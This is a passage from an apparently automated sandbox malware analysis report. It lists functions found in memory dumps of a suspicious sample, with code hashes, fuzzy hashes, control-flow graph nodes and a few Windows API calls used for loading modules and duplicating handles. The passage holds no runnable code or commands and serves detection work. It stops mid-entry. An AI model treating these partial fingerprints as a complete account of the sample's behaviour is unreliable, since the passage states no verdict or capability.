                                                          • Instruction ID: f7341d832fae362d2a7d3a8ee86c4e7f15067dea9b4e455a81a49eff4bf651dd
                                                          • Opcode Fuzzy Hash: 28c7a0de27c87c45bfaefa97756f7c65da1d0f34e8b0084535908640529fa1b6
                                                          • Instruction Fuzzy Hash: 6941C2B1D0071DCBDB24DFA9C88578DBBB2BF88714F20816AD418AB251DB756946CF90
                                                          Function 00E4B3F8 Relevance: 1.6, APIs: 1, Instructions: 68COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 528 e4b3f8-e4b400 530 e4b446-e4b458 528->530 531 e4b402-e4b444 528->531 533 e4b460-e4b48b GetModuleHandleW 530->533 534 e4b45a-e4b45d 530->534 531->530 535 e4b494-e4b4a8 533->535 536 e4b48d-e4b493 533->536 534->533 536->535
                                                          APIs
                                                          • GetModuleHandleW.KERNEL32(00000000), ref: 00E4B47E
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271963295.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_e40000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID: HandleModule
                                                          • String ID:
                                                          • API String ID: 4139908857-0
                                                          • Opcode ID: aa8a4d364cafbfd788b062b858327b6538cbe58be4da8410c5576dc055c58744
                                                          • Instruction ID: c13a94efcc0d6be463abad2643285e6ce277a8f7fd5f689f98889e6d709f302e
                                                          • Opcode Fuzzy Hash: aa8a4d364cafbfd788b062b858327b6538cbe58be4da8410c5576dc055c58744
                                                          • Instruction Fuzzy Hash: 6A2178B5C043898FCB20DFA6D4416DABFF0EF45318F14845AC468BB212D378950ACFA1
                                                          Function 00E4B3E8 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 538 e4b3e8-e4d4b4 DuplicateHandle 540 e4d4b6-e4d4bc 538->540 541 e4d4bd-e4d4da 538->541 540->541
                                                          APIs
                                                          • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00E4D3E6,?,?,?,?,?), ref: 00E4D4A7
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271963295.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_e40000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID: DuplicateHandle
                                                          • String ID:
                                                          • API String ID: 3793708945-0
                                                          • Opcode ID: 67f96bc00943583d728b0f1847b930c737bfa943709b21d6d083b4a7b5d362f9
                                                          • Instruction ID: 196bba8513a711aeaa58a1b6f9f3479c51cbb6e3f2909d9538d6724d4e5f86f9
                                                          • Opcode Fuzzy Hash: 67f96bc00943583d728b0f1847b930c737bfa943709b21d6d083b4a7b5d362f9
                                                          • Instruction Fuzzy Hash: 8021E6B5D003499FDB10DF9AD984ADEBBF5EB48314F14801AE914B3350D374A940CFA4
                                                          Function 00E4D419 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 544 e4d419-e4d4b4 DuplicateHandle 545 e4d4b6-e4d4bc 544->545 546 e4d4bd-e4d4da 544->546 545->546
                                                          APIs
                                                          • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00E4D3E6,?,?,?,?,?), ref: 00E4D4A7
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271963295.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_e40000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID: DuplicateHandle
                                                          • String ID:
                                                          • API String ID: 3793708945-0
                                                          • Opcode ID: df37b985d81c1b67741b95a326dd6f8f83bfb0a8980b261d7c53992707ced8b9
                                                          • Instruction ID: ffbb58ff8787dd46f27a3f68e84e65c5c0b88b7cae77e1120b910d427de0f838
                                                          • Opcode Fuzzy Hash: df37b985d81c1b67741b95a326dd6f8f83bfb0a8980b261d7c53992707ced8b9
                                                          • Instruction Fuzzy Hash: 4C21E6B5D003199FDB10CF9AD985ADEBFF5EB48314F14801AE928A3350D374A945CF60
                                                          Function 00E4B020 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 549 e4b020-e4b6e0 551 e4b6e2-e4b6e5 549->551 552 e4b6e8-e4b717 LoadLibraryExW 549->552 551->552 553 e4b720-e4b73d 552->553 554 e4b719-e4b71f 552->554 554->553
                                                          APIs
                                                          • LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,00E4B4F9,00000800,00000000,00000000), ref: 00E4B70A
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271963295.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_e40000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID: LibraryLoad
                                                          • String ID:
                                                          • API String ID: 1029625771-0
                                                          • Opcode ID: 7efa2444cdf0ec70bedc24289eec225e57cb15c0d3223019b300f0b90c20a679
                                                          • Instruction ID: 6d86f11262cf9c0d7bf1315e04cc52f27a28b575a7bcbacdf56e860c88517c5d
                                                          • Opcode Fuzzy Hash: 7efa2444cdf0ec70bedc24289eec225e57cb15c0d3223019b300f0b90c20a679
                                                          • Instruction Fuzzy Hash: 2D11F2B6C003099FDB20DFAAD444A9EBBF4EB88314F10842AD519B7200C375A945CFA4
                                                          Function 00E4B699 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 557 e4b699-e4b6e0 558 e4b6e2-e4b6e5 557->558 559 e4b6e8-e4b717 LoadLibraryExW 557->559 558->559 560 e4b720-e4b73d 559->560 561 e4b719-e4b71f 559->561 561->560
                                                          APIs
                                                          • LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,00E4B4F9,00000800,00000000,00000000), ref: 00E4B70A
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271963295.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_e40000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID: LibraryLoad
                                                          • String ID:
                                                          • API String ID: 1029625771-0
                                                          • Opcode ID: 021f43eeca904ac2afb216ec101e54f49a21144d5d2f306185637724d15fe782
                                                          • Instruction ID: 4565b9bbab227d836511abc72dc56b6999fd78fd76b8f6ca109cbb226f7714ad
                                                          • Opcode Fuzzy Hash: 021f43eeca904ac2afb216ec101e54f49a21144d5d2f306185637724d15fe782
                                                          • Instruction Fuzzy Hash: 2C1114B6C003498FDB20CFAAD445BDEFBF4EB88310F14842AD469A7200C775A546CFA4
                                                          Function 04D8342C Relevance: 1.6, Strings: 1, Instructions: 300COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: (q
                                                          • API String ID: 0-2414175341
                                                          • Opcode ID: 8dbb16016e8ab3ea5c29e4d55a4bdd4cbcba946364e64a3b64d778f7af461d5d
                                                          • Instruction ID: 3970a15c4c8be8c4fbc9aa648722fef96242a986943464e3d1ad52991d0794fc
                                                          • Opcode Fuzzy Hash: 8dbb16016e8ab3ea5c29e4d55a4bdd4cbcba946364e64a3b64d778f7af461d5d
                                                          • Instruction Fuzzy Hash: E791EE70A01309DFDB19EFA5D4446AEBFB2FF85300F11856EE445A7351EB35A806CBA1
                                                          Function 00E4B418 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetModuleHandleW.KERNEL32(00000000), ref: 00E4B47E
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271963295.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_e40000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID: HandleModule
                                                          • String ID:
                                                          • API String ID: 4139908857-0
                                                          • Opcode ID: 282a648dde426130b9d533e6b3228ccdfad40b1b335f995b692f6e15f0b42d4d
                                                          • Instruction ID: cdf789c6277263699ddd8ed7374a82d6df2dc01859925afc54a978bdc1590001
                                                          • Opcode Fuzzy Hash: 282a648dde426130b9d533e6b3228ccdfad40b1b335f995b692f6e15f0b42d4d
                                                          • Instruction Fuzzy Hash: 4611DFB5C003498FDB20DFAAD844A9EFBF4EB88324F14842AD429B7211D379A545CFA1
                                                          Function 04D89D50 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @
                                                          • API String ID: 0-2766056989
                                                          • Opcode ID: 70b4fb2aba44d8dc14924c6eb6381a2b44b167d271e5d54880708d0878ecf6c3
                                                          • Instruction ID: 244c396d22738f8abd695cbad813d4c3e9443c8ee9eecf9106be2a03b4d6b2b9
                                                          • Opcode Fuzzy Hash: 70b4fb2aba44d8dc14924c6eb6381a2b44b167d271e5d54880708d0878ecf6c3
                                                          • Instruction Fuzzy Hash: D5D10C7590020ACFCF05DFA8C8949EDB7B1FF48314B259659D84667259EB34BE8ACF80
                                                          Function 04D89D41 Relevance: 1.5, Strings: 1, Instructions: 203COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID: 0-3916222277
                                                          • Opcode ID: 47c4d67069e8d4c404b2fffb584cceb707beb5f59a3f72d79513f330a79807ed
                                                          • Instruction ID: 4c747353b7a918c340be0b93f8d826e34d288d130560efed6ac932328415f30b
                                                          • Opcode Fuzzy Hash: 47c4d67069e8d4c404b2fffb584cceb707beb5f59a3f72d79513f330a79807ed
                                                          • Instruction Fuzzy Hash: 5FA1FD7590020ACFCF05DFA4C4948EDB7B1FF58314B219659D8466B259EB34FA9ACF80
                                                          Function 04D833F4 Relevance: 1.4, Strings: 1, Instructions: 133COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Hq
                                                          • API String ID: 0-1594803414
                                                          • Opcode ID: ce0a4af3fffcb97a194b7dab43bf7b3041e57e391313d4f3a3b6768283ac0c54
                                                          • Instruction ID: 202ad0fda81a4bc2bfef195c9c14ca1a3417d398ec024560b19d2a9d5248ea33
                                                          • Opcode Fuzzy Hash: ce0a4af3fffcb97a194b7dab43bf7b3041e57e391313d4f3a3b6768283ac0c54
                                                          • Instruction Fuzzy Hash: 1A417274A003089FDB14EFA9D454AAEBBF6EF88310F10842DE449E7350DB35A946CBA5
                                                          Function 04D8A0F0 Relevance: .7, Instructions: 732COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 26051c12ace0c35a35b3a159c29a650c20c344d7b8e0041eab657c09a9e8d10b
                                                          • Instruction ID: 9557f665389225eb72f6e2c80a36f9571293c3c5f929b64f2213b32e994e0317
                                                          • Opcode Fuzzy Hash: 26051c12ace0c35a35b3a159c29a650c20c344d7b8e0041eab657c09a9e8d10b
                                                          • Instruction Fuzzy Hash: DF723C31D10609CFDB14EF78C8946ADBBB1FF45304F11869AD54AAB265EF30AAD5CB80
                                                          Function 04D87098 Relevance: .6, Instructions: 551COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: cf45327730524eeb94d88e629d281cd1b0fef2fcfae3fb730e05b330bd40e0dd
                                                          • Instruction ID: 0d1364c86558d9df65600a385d8370fa93b89d888290ead479ace67eef1e2810
                                                          • Opcode Fuzzy Hash: cf45327730524eeb94d88e629d281cd1b0fef2fcfae3fb730e05b330bd40e0dd
                                                          • Instruction Fuzzy Hash: F542C731E106198FCB14EF68C894AEDF7B1FF89304F2586A9D459B7251EB30AA85CF50
                                                          Function 04D8B9C0 Relevance: .5, Instructions: 500COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 775bb4c8e1c968fbc59ba6da17ee8314bc945f8f99d455630f3c1898dd040656
                                                          • Instruction ID: 1b0c27ef7157d0be2666860846b3df643d6d8fb0e8868a88bca7a56afeb280e2
                                                          • Opcode Fuzzy Hash: 775bb4c8e1c968fbc59ba6da17ee8314bc945f8f99d455630f3c1898dd040656
                                                          • Instruction Fuzzy Hash: 31221634A10604CFDB14EF69C884AADB7B2FF89305F1485A9E44AAB361DB71ED45CF60
                                                          Function 04D87089 Relevance: .3, Instructions: 335COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e6181d18c8801e03ad118b5d553cdc4b55202ba6c695570024e73a34f3dfdf1e
                                                          • Instruction ID: f94907af6f150a6fac315a8c82c4a1337709bc40e4a770ffccbbd0fc3ab03e05
                                                          • Opcode Fuzzy Hash: e6181d18c8801e03ad118b5d553cdc4b55202ba6c695570024e73a34f3dfdf1e
                                                          • Instruction Fuzzy Hash: 53E1F931E006198FCB24EF68C894AEDB7B1FF49314F2486A9D459AB251EB30ED85CF50
                                                          Function 04D89A80 Relevance: .2, Instructions: 197COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 59d2e6a84ff205a23ec757a371e70987fc3d064fd9c21905f3402ee6c70e4f63
                                                          • Instruction ID: f3c98f33a9ac4dc0b1ff22fead091bff899ec58fe39f793e1b27364136989da1
                                                          • Opcode Fuzzy Hash: 59d2e6a84ff205a23ec757a371e70987fc3d064fd9c21905f3402ee6c70e4f63
                                                          • Instruction Fuzzy Hash: 78910B7190060ACFCB41EF68C880999FBF5FF99310B14C79AE859AB255E730E985CF80
                                                          Function 04D8B990 Relevance: .2, Instructions: 181COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 03ce024c64a8d684f7a02a000c246ab0b8c8a8f685a07e25e7c075acbea09e71
                                                          • Instruction ID: 15418471a21f1c6cfca735ceaa3af1f9130022082471f3f669360db12667397a
                                                          • Opcode Fuzzy Hash: 03ce024c64a8d684f7a02a000c246ab0b8c8a8f685a07e25e7c075acbea09e71
                                                          • Instruction Fuzzy Hash: A66158306106008FDB14EF79C894BA97BA2FF89315F1585BDE5469F3A1DB70A80ACB61
                                                          Function 04D88E08 Relevance: .2, Instructions: 176COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d9cee08392014b8be6a548e252d63422a111604c907c8138353f047c19910c7e
                                                          • Instruction ID: f088fb5b2adae60c8b5e4b9750f9efbbf1aad547789650f0603dc160f83ff8c2
                                                          • Opcode Fuzzy Hash: d9cee08392014b8be6a548e252d63422a111604c907c8138353f047c19910c7e
                                                          • Instruction Fuzzy Hash: 3F71BD79700A00CFC758EF29C48895ABBF2FF8921571589A9E54ACB372DB72EC45CB50
                                                          Function 04D88DF9 Relevance: .2, Instructions: 174COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 5425c1c805ee2efb5c8dc2c1c480374cc6bcaae4bec30bbaf7793251b96ed80c
                                                          • Instruction ID: 4713748d95764da0dbc44e42fd9b5691ae60bd3786db750fd377b668180d56d9
                                                          • Opcode Fuzzy Hash: 5425c1c805ee2efb5c8dc2c1c480374cc6bcaae4bec30bbaf7793251b96ed80c
                                                          • Instruction Fuzzy Hash: F271BDB9700A008FC758EF29C49895ABBF2FF8921471589A9E54ACB372DB71EC45CB50
                                                          Function 04D88C18 Relevance: .2, Instructions: 172COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d962151095356473e243963ec7555e048e8cdde145eda73f8820402ec646487a
                                                          • Instruction ID: 7410a332cd53c0d7c781eaa158e6b600a5caaa643ae6e0f503f8daef91d61d22
                                                          • Opcode Fuzzy Hash: d962151095356473e243963ec7555e048e8cdde145eda73f8820402ec646487a
                                                          • Instruction Fuzzy Hash: 8871B174A052068FCB14DF69D5849A9FBF1FF48310B49C6A9E80ADB316E734E885CF90
                                                          Function 04D8DAD8 Relevance: .2, Instructions: 167COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a9f83a3513a557e1f7e85843c0fe8825ec88e9dc8fa8c425044024ae3523c75a
                                                          • Instruction ID: 41789aee7e2f221265092ffa2c4f9fc671149e2a87b74a213e74f6dde22f9d4a
                                                          • Opcode Fuzzy Hash: a9f83a3513a557e1f7e85843c0fe8825ec88e9dc8fa8c425044024ae3523c75a
                                                          • Instruction Fuzzy Hash: E05144707002049FEB14EB69D594B6AB7F6AF89304F14416DE50ADB3E1DB71F801CBA1
                                                          Function 04D82A34 Relevance: .2, Instructions: 156COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a39f2516b79aca69c5f9a0adc6a69d483efcf322f8da5c3f78af2e024307e230
                                                          • Instruction ID: b146c7c0915b684743d72f3aeb1edad4769b11eff39e11483a7a81d4bf600063
                                                          • Opcode Fuzzy Hash: a39f2516b79aca69c5f9a0adc6a69d483efcf322f8da5c3f78af2e024307e230
                                                          • Instruction Fuzzy Hash: 40516271E003059FDB14EFA9D814AAFBBF9EF88610F10851ED859E7350DB75A9058BA0
                                                          Function 04D89A71 Relevance: .2, Instructions: 151COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 13ae1aa057c3a03b7f74bc8d14cd9b47d480b305db9dd5b97e49c220e763113c
                                                          • Instruction ID: c884d204555d41489f36963362b2053381ec15549857371e6eff726cf0eaff96
                                                          • Opcode Fuzzy Hash: 13ae1aa057c3a03b7f74bc8d14cd9b47d480b305db9dd5b97e49c220e763113c
                                                          • Instruction Fuzzy Hash: 53610971D1070ACFCB01EF68C890999FBF0FF59310B15879AE859AB255E770E985CB80
                                                          Function 04D8DAC7 Relevance: .1, Instructions: 137COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: ca59cf9caf78b3bcb337fa30cb2ee824e405a46143027e5a11f53b75ae51a912
                                                          • Instruction ID: e3f3b1f8d63eefefe6c0090e3d6c7d00e4bd43fe2e28ef27f0943c70f4977170
                                                          • Opcode Fuzzy Hash: ca59cf9caf78b3bcb337fa30cb2ee824e405a46143027e5a11f53b75ae51a912
                                                          • Instruction Fuzzy Hash: B75157707002049FDB14EB69D590AAAB7F6EF89304F14416DE40A9B7E1DB75F806CBA1
                                                          Function 04D8DF30 Relevance: .1, Instructions: 121COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 936520144f2883af42d3ae2821451efe8c04a9006e56e605db5ba6fb77d73f37
                                                          • Instruction ID: da072686849ceafc479321f9d3feeb1409d0ec5f3f401ef993c7ad4ca785a551
                                                          • Opcode Fuzzy Hash: 936520144f2883af42d3ae2821451efe8c04a9006e56e605db5ba6fb77d73f37
                                                          • Instruction Fuzzy Hash: A1415B75E00258CBEB24FB75D0547BEBBA2EB88215F14442ED502F7284DB79A881CBA5
                                                          Function 04D87D2E Relevance: .1, Instructions: 102COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 048c906fbb0d09cb350b6e1a4a0faae7062cc9dd0b317bb9bdae588a116ab7b9
                                                          • Instruction ID: 55e6a9f969fddcd3115db590863f9c7d1bfb744bf35255651aedf7088c8faed0
                                                          • Opcode Fuzzy Hash: 048c906fbb0d09cb350b6e1a4a0faae7062cc9dd0b317bb9bdae588a116ab7b9
                                                          • Instruction Fuzzy Hash: 48413D34A10709CFDB04EF78C48499DFBB2FF89304F108569E5196B365EB71A946CB81
                                                          Function 04D87D30 Relevance: .1, Instructions: 101COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 5d12617f9746e18a7ac794db4b068e93c3c426ea3a5cca10baca344188439a29
                                                          • Instruction ID: 5e88ad2ce793433ccd1207f1fb94ff10914ff6eafd0bfac67e327b771a127bc5
                                                          • Opcode Fuzzy Hash: 5d12617f9746e18a7ac794db4b068e93c3c426ea3a5cca10baca344188439a29
                                                          • Instruction Fuzzy Hash: 6E411D34A10709CFDB04EF78C88499DFBB6FF89304F108569E5196B365EB71A946CB81
                                                          Function 04D83AEC Relevance: .1, Instructions: 100COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8341800fc05ecdc8f34135af1f69eed3670d9e1315cbc7174834974a0f671eb9
                                                          • Instruction ID: c4044eb861d71e19bdda558ed91939f226facb3df3e1ed9c0149ac8b0c69ccf0
                                                          • Opcode Fuzzy Hash: 8341800fc05ecdc8f34135af1f69eed3670d9e1315cbc7174834974a0f671eb9
                                                          • Instruction Fuzzy Hash: AC41F2B1D00349DFDB24DFA9C984ADDFBB5BF48704F248129D808AB210D7766A4ACF90
                                                          Function 04D85998 Relevance: .1, Instructions: 99COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 1728c7e86d677f41ddbc16c35dd96e777e8667c90e58e625c808339f99e0feab
                                                          • Instruction ID: 2cf6fcffe5705b09f079695216355146ddf3ee8c1acbb8cad123417f5a4ef86d
                                                          • Opcode Fuzzy Hash: 1728c7e86d677f41ddbc16c35dd96e777e8667c90e58e625c808339f99e0feab
                                                          • Instruction Fuzzy Hash: 8F41F975A0024ADFCB40DF68D88499DFBB5FF89314B15C699E818AB311E730E986CF90
                                                          Function 04D82A74 Relevance: .1, Instructions: 99COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
